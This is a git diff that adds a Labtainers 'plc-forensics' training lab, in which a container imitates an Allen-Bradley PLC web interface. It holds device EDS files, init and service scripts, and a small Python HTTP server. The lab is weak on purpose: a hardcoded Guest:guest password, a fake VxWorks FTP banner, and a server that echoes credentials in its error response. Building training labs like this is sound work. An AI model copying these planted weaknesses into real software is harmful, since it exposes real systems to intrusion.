+/usr/bin/ftp +/usr/bin/tcpdump +/usr/bin/tshark +/usr/bin/wget diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/investigator/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/investigator/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/investigator/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/0001000C007D0100.eds b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/0001000C007D0100.eds new file mode 100644 index 000000000..039480194 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/0001000C007D0100.eds @@ -0,0 +1,42 @@ +[File] + DescText = "1756-EWEB 1756 Ethernet Web Interface"; + CreateDate = 1-1-2003; + CreateTime = 12:00:00; + ModDate = 11-11-2003; + ModTime = 2:08:00; + Revision = 1.4; + HomeURL = "http://www.ab.com/networks/eds/EN/0001000C007D0100.eds"; + +[Device] + VendCode = 1; + VendName = "Allen-Bradley"; + ProdType = 12; + ProdTypeStr = "Communications Adapter"; + ProdCode = 125; + MajRev = 1; + MinRev = 1; + ProdName = "1756-EWEB/A"; + Catalog = "1756-EWEB/A"; + Icon = "1756enet.ico"; + +[Port] + Port1 = 1_1756_Chassis, "Backplane", "20 66 24 01",1; $ port name must be Backplane for RSLinx + Port2 = TCP, "A","20 F5 24 01",2; + 1_RSNetWorx_Backplane_Route_Class1_Connections = NO; + +[Device Classification] + Class1 = EtherNetIP; + Class2 = 1_RSLinx_CLGateway_Tool; + +[Modular] + Width = 1; + Rack1 = 1,0x6c,0x16,1,1,,,,0,1,2,3; $1756-A4 Chassis, any slot + Rack2 = 1,0x6c,0x17,1,1,,,,0,1,2,3,4,5,6; $1756-A7 Chassis, any slot + Rack3 = 1,0x6c,0x18,1,1,,,,0,1,2,3,4,5,6,7,8,9; $1756-A10 Chassis, any slot + Rack4 = 1,0x6c,0x19,1,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12; $1756-A13 Chassis, any slot + Rack5 = 1,0x6c,0x1A,1,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16; $1756-A17 Chassis, any slot + Rack6 = 1,0x6c,0x16,2,1,,,,0,1,2,3; $1756-A4 Chassis v2.1, any slot + Rack7 = 1,0x6c,0x17,2,1,,,,0,1,2,3,4,5,6; $1756-A7 Chassis v2.1, any slot + Rack8 = 1,0x6c,0x18,2,1,,,,0,1,2,3,4,5,6,7,8,9; $1756-A10 Chassis v2.1, any slot + Rack9 = 1,0x6c,0x19,2,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12; $1756-A13 Chassis v2.1, any slot + Rack10 = 1,0x6c,0x1A,2,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16; $1756-A17 Chassis v2.1, any slot \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/0001000C007D0200.eds b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/0001000C007D0200.eds new file mode 100644 index 000000000..176f31395 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/0001000C007D0200.eds @@ -0,0 +1,42 @@ +[File] + DescText = "1756-EWEB 1756 Ethernet Web Interface"; + CreateDate = 4-20-2004; + CreateTime = 12:00:00; + ModDate = 4-20-2004; + ModTime = 12:00:00; + Revision = 1.1; + HomeURL = "http://www.ab.com/networks/eds/EN/0001000C007D0200.eds"; + +[Device] + VendCode = 1; + VendName = "Allen-Bradley"; + ProdType = 12; + ProdTypeStr = "Communications Adapter"; + ProdCode = 125; + MajRev = 2; + MinRev = 1; + ProdName = "1756-EWEB/A"; + Catalog = "1756-EWEB/A"; + Icon = "1756enet.ico"; + +[Port] + Port1 = 1_1756_Chassis, "Backplane", "20 66 24 01",1; $ port name must be Backplane for RSLinx + Port2 = TCP, "A","20 F5 24 01",2; + 1_RSNetWorx_Backplane_Route_Class1_Connections = NO; + +[Device Classification] + Class1 = EtherNetIP; + Class2 = 1_RSLinx_CLGateway_Tool; + +[Modular] + Width = 1; + Rack1 = 1,0x6c,0x16,1,1,,,,0,1,2,3; $1756-A4 Chassis, any slot + Rack2 = 1,0x6c,0x17,1,1,,,,0,1,2,3,4,5,6; $1756-A7 Chassis, any slot + Rack3 = 1,0x6c,0x18,1,1,,,,0,1,2,3,4,5,6,7,8,9; $1756-A10 Chassis, any slot + Rack4 = 1,0x6c,0x19,1,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12; $1756-A13 Chassis, any slot + Rack5 = 1,0x6c,0x1A,1,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16; $1756-A17 Chassis, any slot + Rack6 = 1,0x6c,0x16,2,1,,,,0,1,2,3; $1756-A4 Chassis v2.1, any slot + Rack7 = 1,0x6c,0x17,2,1,,,,0,1,2,3,4,5,6; $1756-A7 Chassis v2.1, any slot + Rack8 = 1,0x6c,0x18,2,1,,,,0,1,2,3,4,5,6,7,8,9; $1756-A10 Chassis v2.1, any slot + Rack9 = 1,0x6c,0x19,2,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12; $1756-A13 Chassis v2.1, any slot + Rack10 = 1,0x6c,0x1A,2,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16; $1756-A17 Chassis v2.1, any slot \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/0001000C007D0300.eds b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/0001000C007D0300.eds new file mode 100644 index 000000000..c8e5dc5d0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/0001000C007D0300.eds @@ -0,0 +1,42 @@ +[File] + DescText = "1756-EWEB 1756 Ethernet Web Interface"; + CreateDate = 12-1-2005; + CreateTime = 12:00:00; + ModDate = 12-1-2005; + ModTime = 12:00:00; + Revision = 1.1; + HomeURL = "http://www.ab.com/networks/eds/EN/0001000C007D0300.eds"; + +[Device] + VendCode = 1; + VendName = "Allen-Bradley"; + ProdType = 12; + ProdTypeStr = "Communications Adapter"; + ProdCode = 125; + MajRev = 3; + MinRev = 1; + ProdName = "1756-EWEB/A"; + Catalog = "1756-EWEB/A"; + Icon = "1756enet.ico"; + +[Port] + Port1 = 1_1756_Chassis, "Backplane", "20 66 24 01",1; $ port name must be Backplane for RSLinx + Port2 = TCP, "A","20 F5 24 01",2; + 1_RSNetWorx_Backplane_Route_Class1_Connections = NO; + +[Device Classification] + Class1 = EtherNetIP; + Class2 = 1_RSLinx_CLGateway_Tool; + +[Modular] + Width = 1; + Rack1 = 1,0x6c,0x16,1,1,,,,0,1,2,3; $1756-A4 Chassis, any slot + Rack2 = 1,0x6c,0x17,1,1,,,,0,1,2,3,4,5,6; $1756-A7 Chassis, any slot + Rack3 = 1,0x6c,0x18,1,1,,,,0,1,2,3,4,5,6,7,8,9; $1756-A10 Chassis, any slot + Rack4 = 1,0x6c,0x19,1,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12; $1756-A13 Chassis, any slot + Rack5 = 1,0x6c,0x1A,1,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16; $1756-A17 Chassis, any slot + Rack6 = 1,0x6c,0x16,2,1,,,,0,1,2,3; $1756-A4 Chassis v2.1, any slot + Rack7 = 1,0x6c,0x17,2,1,,,,0,1,2,3,4,5,6; $1756-A7 Chassis v2.1, any slot + Rack8 = 1,0x6c,0x18,2,1,,,,0,1,2,3,4,5,6,7,8,9; $1756-A10 Chassis v2.1, any slot + Rack9 = 1,0x6c,0x19,2,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12; $1756-A13 Chassis v2.1, any slot + Rack10 = 1,0x6c,0x1A,2,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16; $1756-A17 Chassis v2.1, any slot \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/0001000C007D0400.eds b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/0001000C007D0400.eds new file mode 100644 index 000000000..b1708680a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/0001000C007D0400.eds @@ -0,0 +1,54 @@ +$ EDS file for 1756-EWEB R4.x Firmware +$ +$ Revision history: +$ 1.3 08-10-2011 JJW Changed Create and mod time formats. +$ 1.4 06-12-2012 JJW Added capacity parameters for RSLinx browse function. +$ +[File] + DescText = "1756-EWEB 1756 Ethernet Web Interface"; + CreateDate = 04-20-2004; + CreateTime = 12:00:00; + ModDate = 06-12-2012; + ModTime = 12:00:00; + Revision = 1.4; + HomeURL = "http://www.ab.com/networks/eds/EN/0001000C007D0400.eds"; + +[Device] + VendCode = 1; + VendName = "Allen-Bradley"; + ProdType = 12; + ProdTypeStr = "Communications Adapter"; + ProdCode = 125; + MajRev = 4; + MinRev = 1; + ProdName = "1756-EWEB/A"; + Catalog = "1756-EWEB/A"; + Icon = "1756enet.ico"; + +[Port] + Port1 = 1_1756_Chassis, "Backplane", "20 66 24 01",1; $ port name must be Backplane for RSLinx + Port2 = TCP, "A","20 F5 24 01",2; + 1_RSNetWorx_Backplane_Route_Class1_Connections = NO; + +[Device Classification] + Class1 = EtherNetIP; + Class2 = 1_RSLinx_CLGateway_Tool; + +[Modular] + Width = 1; + Rack1 = 1,0x6c,0x16,1,1,,,,0,1,2,3; $1756-A4 Chassis, any slot + Rack2 = 1,0x6c,0x17,1,1,,,,0,1,2,3,4,5,6; $1756-A7 Chassis, any slot + Rack3 = 1,0x6c,0x18,1,1,,,,0,1,2,3,4,5,6,7,8,9; $1756-A10 Chassis, any slot + Rack4 = 1,0x6c,0x19,1,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12; $1756-A13 Chassis, any slot + Rack5 = 1,0x6c,0x1A,1,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16; $1756-A17 Chassis, any slot + Rack6 = 1,0x6c,0x16,2,1,,,,0,1,2,3; $1756-A4 Chassis v2.1, any slot + Rack7 = 1,0x6c,0x17,2,1,,,,0,1,2,3,4,5,6; $1756-A7 Chassis v2.1, any slot + Rack8 = 1,0x6c,0x18,2,1,,,,0,1,2,3,4,5,6,7,8,9; $1756-A10 Chassis v2.1, any slot + Rack9 = 1,0x6c,0x19,2,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12; $1756-A13 Chassis v2.1, any slot + Rack10 = 1,0x6c,0x1A,2,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16; $1756-A17 Chassis v2.1, any slot + +[Capacity] + 1_NumberOfTCPIPConnections = 64; $ Total number of TCP/IP connections supported by CIP router device + 1_TCPIPConnectionReuseTime = 30; $ Sec. TCP/IP connection not avail after TCP/IP attempt to an IP address not present + 1_TCPIPCIPInactivityTimeout = 120; $ Sec. TCP/IP connection not avail after TCP/IP attempt to a non-EtherNet/IP + 1_TCPIPInactivityTimeout = 120; $ Sec. TCP/IP connection remains open with no activity. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/0001000C007D0500.eds b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/0001000C007D0500.eds new file mode 100644 index 000000000..30e2b03c6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/0001000C007D0500.eds @@ -0,0 +1,53 @@ +$ EDS file for 1756-EWEB R5.x Firmware +$ +$ Revision history: +$ 1.1 03-06-2013 JMS Initial 5.x version. ProdName and Catalog do not have series. +$ +[File] + DescText = "1756-EWEB 1756 Ethernet Web Interface"; + CreateDate = 03-06-2013; + CreateTime = 12:00:00; + ModDate = 03-06-2013; + ModTime = 12:00:00; + Revision = 1.1; + HomeURL = "http://www.ab.com/networks/eds/EN/0001000C007D0500.eds"; + +[Device] + VendCode = 1; + VendName = "Allen-Bradley"; + ProdType = 12; + ProdTypeStr = "Communications Adapter"; + ProdCode = 125; + MajRev = 5; + MinRev = 1; + ProdName = "1756-EWEB"; + Catalog = "1756-EWEB"; + Icon = "1756enet.ico"; + +[Port] + Port1 = 1_1756_Chassis, "Backplane", "20 66 24 01",1; $ port name must be Backplane for RSLinx + Port2 = TCP, "A","20 F5 24 01",2; + 1_RSNetWorx_Backplane_Route_Class1_Connections = NO; + +[Device Classification] + Class1 = EtherNetIP; + Class2 = 1_RSLinx_CLGateway_Tool; + +[Modular] + Width = 1; + Rack1 = 1,0x6c,0x16,1,1,,,,0,1,2,3; $1756-A4 Chassis, any slot + Rack2 = 1,0x6c,0x17,1,1,,,,0,1,2,3,4,5,6; $1756-A7 Chassis, any slot + Rack3 = 1,0x6c,0x18,1,1,,,,0,1,2,3,4,5,6,7,8,9; $1756-A10 Chassis, any slot + Rack4 = 1,0x6c,0x19,1,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12; $1756-A13 Chassis, any slot + Rack5 = 1,0x6c,0x1A,1,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16; $1756-A17 Chassis, any slot + Rack6 = 1,0x6c,0x16,2,1,,,,0,1,2,3; $1756-A4 Chassis v2.1, any slot + Rack7 = 1,0x6c,0x17,2,1,,,,0,1,2,3,4,5,6; $1756-A7 Chassis v2.1, any slot + Rack8 = 1,0x6c,0x18,2,1,,,,0,1,2,3,4,5,6,7,8,9; $1756-A10 Chassis v2.1, any slot + Rack9 = 1,0x6c,0x19,2,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12; $1756-A13 Chassis v2.1, any slot + Rack10 = 1,0x6c,0x1A,2,1,,,,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16; $1756-A17 Chassis v2.1, any slot + +[Capacity] + 1_NumberOfTCPIPConnections = 64; $ Total number of TCP/IP connections supported by CIP router device + 1_TCPIPConnectionReuseTime = 30; $ Sec. TCP/IP connection not avail after TCP/IP attempt to an IP address not present + 1_TCPIPCIPInactivityTimeout = 120; $ Sec. TCP/IP connection not avail after TCP/IP attempt to a non-EtherNet/IP + 1_TCPIPInactivityTimeout = 120; $ Sec. TCP/IP connection remains open with no activity. \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/ReadMe.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/ReadMe.txt new file mode 100644 index 000000000..66eaa26ea --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/ReadMe.txt @@ -0,0 +1,27 @@ +Release Notes: + +---------------------------------- +User Downloaded Webpages and Files +---------------------------------- + +This is the user download web directory. + +Enable the FTP service to upload/download files here. + +To view these files with a browser you must specify the path "/user/web/" in the URL. + +For example: +This file is named ReadMe.txt. + +To read this file with a web browser use the appropriate URL for your device, such as: + +http:///user/web/ReadMe.txt + +----------------- +Default Home Page +----------------- + +If you configure a custom homepage you can return to the EWEB built-in pages by typing: + +http:///index.html + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_bin/fixlocal.sh new file mode 100755 index 000000000..9f506f39d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_bin/fixlocal.sh @@ -0,0 +1,8 @@ +#!/bin/bash + +cd $HOME +echo "Guest:guest" | sudo chpasswd +sudo systemctl enable httpserver.service +sudo systemctl start httpserver.service +echo "ftpd_banner=VxWorks FTP server (VxWorks VxWorks5.5) ready." | sudo tee -a /etc/vsftpd.conf +sudo systemctl restart vsftpd.service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_bin/treataslocal new file mode 100644 index 000000000..dc3c5b825 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_bin/treataslocal @@ -0,0 +1,2 @@ +/usr/bin/tcpdump +/usr/bin/tshark diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/etc/xinetd.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/etc/xinetd.conf new file mode 100644 index 000000000..94a44e584 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/etc/xinetd.conf @@ -0,0 +1,15 @@ +# Simple configuration file for xinetd +# +# Some defaults, and include /etc/xinetd.d/ + +defaults +{ + +# Please note that you need a log_type line to be able to use log_on_success +# and log_on_failure. The default is the following : +log_type = SYSLOG daemon info + +} + +includedir /etc/xinetd.d + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/etc/xinetd.d/ssh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/etc/xinetd.d/ssh new file mode 100644 index 000000000..9b8db4365 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/etc/xinetd.d/ssh @@ -0,0 +1,12 @@ +service ssh +{ + socket_type = stream + protocol = tcp + wait = no + port = 22 + user = root + server = /usr/sbin/sshd + server_args = -i + disable = no +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/lib/systemd/system/httpserver.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/lib/systemd/system/httpserver.service new file mode 100644 index 000000000..d0145f26f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/lib/systemd/system/httpserver.service @@ -0,0 +1,12 @@ +[Unit] +Description=HTTP Service + +[Service] +Type=simple +WorkingDirectory=/var/www +ExecStart=/sbin/MyHTTPServer.py +StandardOutput=null + +[Install] +WantedBy=multi-user.target +Alias=httpserver.service diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/sbin/MyHTTPServer.py b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/sbin/MyHTTPServer.py new file mode 100755 index 000000000..de48579f2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/sbin/MyHTTPServer.py @@ -0,0 +1,91 @@ +#!/usr/bin/env python + +import SimpleHTTPServer +import SocketServer +import base64 +import os +import sys + +PORT = 80 +AUTHFILELIST = "/sbin/authfile.list" +AUTHLIST = "/sbin/auth.list" + +class MyHTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): + key = [] + authfilenameslist = [] + #log_file = open('myhttplogfile.txt', 'w') + log_file = open('/var/log/myhttplogfile.txt', 'w') + + def check_filepath(self, inputpath): + auth_needed = False + #print self.authfilenameslist + for fname in self.authfilenameslist: + #print "The requested path is (%s) and fname is (%s)" % (self.path, fname) + if fname in inputpath: + auth_needed = True + break + return auth_needed + + def check_authorize(self, authorization): + authorized = False + #print "Current authorization is (%s)" % authorization + for authkey in self.key: + authorized_key = 'Basic ' + authkey + #print "authorized_key is (%s)" % authorized_key + if authorized_key == authorization: + #print "matched" + authorized = True + break + return authorized + + def log_message(self, format, *args): + self.log_file.write("%s - - [%s] %s\n" % + (self.client_address[0], + self.log_date_time_string(), + format%args)) + self.log_file.flush() + + def do_HEAD(self): + self.send_response(200) + self.send_header('Content-type', 'text/html') + self.end_headers() + + def do_AUTHHEAD(self): + self.send_response(401) + self.send_header('WWW-Authenticate', 'Basic realm=\"Secure HTTP Environment\"') + self.send_header('Content-type', 'text/html') + self.end_headers() + + def do_GET(self): + #if self.path != None: + # print "The requested path is (%s)" % self.path + + if self.check_filepath(self.path): + if self.headers.getheader('Authorization') is None: + self.do_AUTHHEAD() + self.wfile.write('No auth received') + elif self.check_authorize(self.headers.getheader('Authorization')): + SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self) + else: + self.do_AUTHHEAD() + self.wfile.write(self.headers.getheader('Authorization')) + self.wfile.write('Not authenticated') + else: + SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self) + +Handler = MyHTTPHandler +authfilelist = open(AUTHFILELIST) +Handler.authfilenameslist = authfilelist.read().splitlines() +#print Handler.authfilenameslist +authlist = open(AUTHLIST) +authnamepass = authlist.read().splitlines() +for namepass in authnamepass: + curkey = base64.b64encode(namepass.strip()) + Handler.key.append(curkey) + +httpd = SocketServer.TCPServer(("", PORT), Handler) + +#print "serving at port", PORT + +httpd.serve_forever() + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/sbin/auth.list b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/sbin/auth.list new file mode 100644 index 000000000..87e550924 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/sbin/auth.list @@ -0,0 +1 @@ +Guest:guest diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/sbin/authfile.list b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/sbin/authfile.list new file mode 100644 index 000000000..ccfdd121c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/sbin/authfile.list @@ -0,0 +1,3 @@ +services.html +network.html +editusers.html diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/sbin/faux_init new file mode 100755 index 000000000..1f9396ca0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + +service vsftpd start +/etc/init.d/httpserver.sh start diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho.html new file mode 100644 index 000000000..acd486b4f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho.html @@ -0,0 +1,17 @@ + + +Rockwell Automation + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/chassisWho.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/chassisWho.html new file mode 100644 index 000000000..170d4dfe0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/chassisWho.html @@ -0,0 +1,179 @@ + + + + + + + + + + +
+ + + + + + +
Browse Chassis
+ + + + + + + +


+ + + + + +
+ + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SlotModuleRev
+ + 00 + 24.011
+
>>
+ 01 + 5.001
+ + 02 + 1.005
+ + 03 + 1.005
+ + 04 + 3.004
+ + 05 + 2.003
+ 06
+ + 07 + 10.007
+ 08
+ 09
 
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/chassisWho_files/1756enet.bmp b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/chassisWho_files/1756enet.bmp new file mode 100644 index 000000000..7c0a6b9be Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/chassisWho_files/1756enet.bmp differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/chassisWho_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/chassisWho_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/chassisWho_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/chassisWho_files/border.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/chassisWho_files/border.gif new file mode 100644 index 000000000..d81911ea2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/chassisWho_files/border.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/chassisWho_files/menubgon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/chassisWho_files/menubgon.gif new file mode 100644 index 000000000..fbcdbb48f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/chassisWho_files/menubgon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/chassisWho_files/menuendbg.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/chassisWho_files/menuendbg.gif new file mode 100644 index 000000000..e31e6823a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/chassisWho_files/menuendbg.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/chassisWho_files/menuendon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/chassisWho_files/menuendon.gif new file mode 100644 index 000000000..6fae98a1a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/chassisWho_files/menuendon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/chassisWho_files/menustarton.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/chassisWho_files/menustarton.gif new file mode 100644 index 000000000..d1315876e Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/chassisWho_files/menustarton.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/chassisWho_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/chassisWho_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/chassisWho_files/radevice.css @@ 